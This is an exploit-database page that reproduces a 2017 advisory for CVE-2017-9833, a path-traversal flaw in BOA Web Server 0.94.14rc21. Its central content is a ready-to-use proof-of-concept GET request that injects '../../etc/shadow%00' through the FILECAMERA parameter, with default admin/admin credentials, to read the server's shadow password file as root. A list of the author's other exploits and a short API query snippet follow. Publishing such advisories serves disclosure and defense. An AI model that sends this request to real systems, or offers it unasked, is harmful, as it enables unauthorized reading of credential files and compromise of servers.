Search for hundreds of thousands of exploits

"BOA Web Server 0.94.14rc21 - Arbitrary File Access"

Author

Exploit author

"Miguel Mendez Z"

Platform

Exploit platform

linux

Release date

Exploit published date

2017-06-20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0
Release DateTitleTypePlatformAuthor
2020-03-16"Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)"webappsasp"Miguel Mendez Z"
2019-05-07"Easy Chat Server 3.1 - 'message' Denial of Service (PoC)"doswindows"Miguel Mendez Z"
2018-10-04"NICO-FTP 3.0.1.19 - Buffer Overflow (SEH) (ASLR Bypass)"localwindows_x86"Miguel Mendez Z"
2018-07-16"VelotiSmart WiFi B-380 Camera - Directory Traversal"webappshardware"Miguel Mendez Z"
2018-01-30"LabF nfsAxe 3.7 TFTP Client - Local Buffer Overflow"doswindows"Miguel Mendez Z"
2017-11-29"Dup Scout Enterprise 10.0.18 - 'Input Directory' Local Buffer Overflow (SEH)"remotewindows"Miguel Mendez Z"
2017-11-16"LanSweeper 6.0.100.75 - Cross-Site Scripting"webappsaspx"Miguel Mendez Z"
2017-06-20"BOA Web Server 0.94.14rc21 - Arbitrary File Access"webappslinux"Miguel Mendez Z"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/42290/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.